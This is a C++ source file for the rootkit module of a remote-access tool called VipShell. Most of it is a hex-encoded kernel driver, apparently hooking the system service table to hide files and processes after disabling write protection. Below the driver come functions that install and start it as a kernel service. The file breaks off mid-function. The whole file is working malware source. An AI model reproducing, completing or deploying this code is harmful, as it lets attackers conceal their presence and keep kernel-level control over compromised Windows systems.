rootkitmodule.cpp

VipShell驱动隐藏模块

"\x8b\x09\xc7\x04\x81\xba\x16\x01\x00\x0f\x20\xc0\x0d\x00\x00\x01"
"\x00\x0f\x22\xc0\xfb\x33\xc0\x40\xc3\xcc\x83\x3d\x60\x3a\x01\x00"
"\x00\x75\x03\x33\xc0\xc3\xfa\x0f\x20\xc0\x25\xff\xff\xfe\xff\x0f"
"\x22\xc0\x8b\x0d\x2c\x20\x01\x00\xa1\x38\x20\x01\x00\x8b\x40\x01"
"\x8b\x09\x8b\x15\x60\x3a\x01\x00\x89\x14\x81\x0f\x20\xc0\x0d\x00"
"\x00\x01\x00\x0f\x22\xc0\xfb\x83\x25\x60\x3a\x01\x00\x00\x33\xc0"
"\x40\xc3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x9c\x40\x00\x00\xb2\x40\x00\x00\xc4\x40\x00\x00\xdc\x40\x00\x00"
"\xf4\x40\x00\x00\x0c\x41\x00\x00\x1e\x41\x00\x00\x32\x41\x00\x00"
"\x46\x41\x00\x00\x58\x41\x00\x00\x78\x41\x00\x00\x8c\x41\x00\x00"
"\xa8\x41\x00\x00\xc0\x41\x00\x00\xdc\x41\x00\x00\xf4\x41\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x08\x1c\x0c\x45\x00\x00\x00\x00\x02\x00\x00\x00"
"\x4f\x00\x00\x00\x6c\x20\x00\x00\x6c\x0e\x00\x00\x52\x53\x44\x53"
"\x18\xdc\xdd\xe4\x21\x5b\x6e\x46\xa0\xa1\xff\x50\x1b\x09\xb7\x9c"
"\x01\x00\x00\x00\x65\x3a\x5c\x64\x64\x6b\x77\x6f\x72\x6b\x5c\x64"
"\x72\x69\x76\x65\x72\x31\x5c\x6f\x62\x6a\x66\x72\x65\x5f\x77\x6e"
"\x65\x74\x5f\x78\x38\x36\x5c\x69\x33\x38\x36\x5c\x48\x65\x6c\x6c"
"\x6f\x57\x6f\x72\x6c\x64\x2e\x70\x64\x62\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x4e\xe6\x40\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xa1\x00\x30\x01\x00\x85\xc0\xb9\x4e\xe6\x40\xbb\x74\x04\x3b\xc1"
"\x75\x19\xa1\x3c\x20\x01\x00\x8b\x00\x35\x00\x30\x01\x00\xa3\x00"
"\x30\x01\x00\x75\x06\x89\x0d\x00\x30\x01\x00\xe9\x82\xd1\xff\xff"
"\x58\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x42\x00\x00"
"\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x9c\x40\x00\x00\xb2\x40\x00\x00"
"\xc4\x40\x00\x00\xdc\x40\x00\x00\xf4\x40\x00\x00\x0c\x41\x00\x00"
"\x1e\x41\x00\x00\x32\x41\x00\x00\x46\x41\x00\x00\x58\x41\x00\x00"
"\x78\x41\x00\x00\x8c\x41\x00\x00\xa8\x41\x00\x00\xc0\x41\x00\x00"
"\xdc\x41\x00\x00\xf4\x41\x00\x00\x00\x00\x00\x00\xf1\x01\x49\x6f"
"\x66\x43\x6f\x6d\x70\x6c\x65\x74\x65\x52\x65\x71\x75\x65\x73\x74"
"\x00\x00\x5e\x01\x49\x6f\x44\x65\x6c\x65\x74\x65\x44\x65\x76\x69"
"\x63\x65\x00\x00\x60\x01\x49\x6f\x44\x65\x6c\x65\x74\x65\x53\x79"
"\x6d\x62\x6f\x6c\x69\x63\x4c\x69\x6e\x6b\x00\x00\x3b\x04\x52\x74"
"\x6c\x49\x6e\x69\x74\x55\x6e\x69\x63\x6f\x64\x65\x53\x74\x72\x69"
"\x6e\x67\x00\x00\x54\x01\x49\x6f\x43\x72\x65\x61\x74\x65\x53\x79"
"\x6d\x62\x6f\x6c\x69\x63\x4c\x69\x6e\x6b\x00\x00\x4b\x01\x49\x6f"
"\x43\x72\x65\x61\x74\x65\x44\x65\x76\x69\x63\x65\x00\x00\x1e\x04"
"\x52\x74\x6c\x46\x72\x65\x65\x41\x6e\x73\x69\x53\x74\x72\x69\x6e"
"\x67\x00\xd7\x03\x52\x74\x6c\x43\x6f\x6d\x70\x61\x72\x65\x4d\x65"
"\x6d\x6f\x72\x79\x00\x00\xc9\x04\x52\x74\x6c\x55\x70\x70\x65\x72"
"\x53\x74\x72\x69\x6e\x67\x00\x00\xb5\x04\x52\x74\x6c\x55\x6e\x69"
"\x63\x6f\x64\x65\x53\x74\x72\x69\x6e\x67\x54\x6f\x41\x6e\x73\x69"
"\x53\x74\x72\x69\x6e\x67\x00\x00\x37\x04\x52\x74\x6c\x49\x6e\x69"
"\x74\x41\x6e\x73\x69\x53\x74\x72\x69\x6e\x67\x00\x69\x02\x4b\x65"
"\x53\x65\x72\x76\x69\x63\x65\x44\x65\x73\x63\x72\x69\x70\x74\x6f"
"\x72\x54\x61\x62\x6c\x65\x00\x00\x65\x05\x5a\x77\x51\x75\x65\x72"
"\x79\x44\x69\x72\x65\x63\x74\x6f\x72\x79\x46\x69\x6c\x65\x00\x00"
"\x75\x05\x5a\x77\x51\x75\x65\x72\x79\x53\x79\x73\x74\x65\x6d\x49"
"\x6e\x66\x6f\x72\x6d\x61\x74\x69\x6f\x6e\x00\x00\x3b\x05\x5a\x77"
"\x44\x65\x76\x69\x63\x65\x49\x6f\x43\x6f\x6e\x74\x72\x6f\x6c\x46"
"\x69\x6c\x65\x00\x7f\x02\x4b\x65\x54\x69\x63\x6b\x43\x6f\x75\x6e"
"\x74\x00\x6e\x74\x6f\x73\x6b\x72\x6e\x6c\x2e\x65\x78\x65\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x10\x00\x00\xb0\x00\x00\x00\xa4\x30\xbc\x30\x19\x31\x23\x31"
"\x34\x31\x4d\x31\xd7\x31\xdc\x31\xfc\x31\x14\x32\x28\x32\x3c\x32"
"\x43\x32\x56\x32\x5d\x32\x98\x32\xa0\x32\xaa\x32\xef\x32\xf5\x32"
"\x1b\x33\x2c\x33\x4f\x33\x64\x33\xb4\x33\xd0\x33\xdc\x33\xe2\x33"
"\xef\x33\x04\x34\x0d\x34\x24\x34\x3c\x34\x41\x34\x4c\x34\x61\x34"
"\x73\x34\x84\x34\xc2\x34\xd1\x34\xda\x34\xed\x34\x0d\x35\x23\x35"
"\x4b\x35\x6a\x35\x97\x35\xc0\x35\xcc\x35\xd2\x35\xdf\x35\xf4\x35"
"\xfd\x35\x14\x36\x2c\x36\x31\x36\x3c\x36\x51\x36\x61\x36\x6f\x36"
"\x87\x36\x97\x36\xb0\x36\xe4\x36\x51\x37\x6c\x37\x03\x38\x1e\x38"
"\x8d\x38\x9b\x38\xb3\x38\xc3\x38\xdc\x38\xe8\x38\xf4\x38\xfa\x38"
"\x07\x39\x1c\x39\x25\x39\x3c\x39\x54\x39\x59\x39\x64\x39\x79\x39"
"\x00\x40\x00\x00\x14\x00\x00\x00\x01\x30\x13\x30\x1a\x30\x1f\x30"
"\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";


CRootKitModule::~CRootKitModule(void)
{
	CloseServiceHandle(m_hSCManager);
}


bool CRootKitModule::InitInstance()
{
	m_hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if(m_hSCManager == NULL)
		return false;
	m_strDriverName = L"";
	return true;
}

void CRootKitModule::Test()
{
	//..
}
BOOL CRootKitModule::InstallService(SC_HANDLE hSCManager, LPCTSTR ServiceName, LPCTSTR ServiceExe)
{
    SC_HANDLE  schService;

    schService = CreateService( hSCManager,				 // SCManager database
                                ServiceName,             // name of service
                                ServiceName,             // name to display
                                SERVICE_ALL_ACCESS,      // desired access
                                SERVICE_KERNEL_DRIVER,   // service type
                                SERVICE_DEMAND_START,    // start type
                                SERVICE_ERROR_NORMAL,    // error control type
                                ServiceExe,              // service's binary
                                NULL,                    // no load ordering group
                                NULL,                    // no tag identifier
                                NULL,                    // no dependencies
                                NULL,                    // LocalSystem account
                                NULL                     // no password
                               );
    if (schService == NULL)
	{
        return FALSE;
	}

    CloseServiceHandle(schService);
    return TRUE;
}


BOOL CRootKitModule::StartService(SC_HANDLE hSCManager, LPCTSTR ServiceName)
{
    SC_HANDLE  schService = NULL;
    int        nRet = 0;
	
    schService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS);
    if(schService == NULL)
	{
		if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST)
		{
			return FALSE;
		}
        return FALSE;
	}

	nRet = ::StartService(schService, 0, NULL);
	if(!nRet)